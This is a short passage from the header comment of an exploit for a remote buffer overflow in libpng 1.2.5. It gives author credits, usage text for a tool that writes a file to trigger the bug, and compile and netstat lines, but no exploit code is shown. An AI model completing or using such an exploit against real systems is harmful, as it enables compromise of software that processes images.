LibPNG Graphics Library - Remote Buffer Overflow

/* 
 * exploit for libpng, tested on version 1.2.5 
 * infamous42md AT hotpop DOT com 
 * 
 * shouts to mitakeet (hope u patched :D) 
 * 
 * [n00b_at_localho.outernet] ./po 
 * Usage: ./po < retaddr > [ outfile ] 
 * 
 * -all u need to give is retaddr, the default file it creates is controlled by 
 * the define below, or u can pass a diff outfile name on the command line. 
 * the output is not an entire png, just enough to trigger the bug. i've also 
 * included a simple program to test with. 
 * 
 * [n00b_at_localho.outernet] netstat -ant | grep 7000 
 * [n00b_at_localho.outernet] gcc pnouch.c -Wall -o po
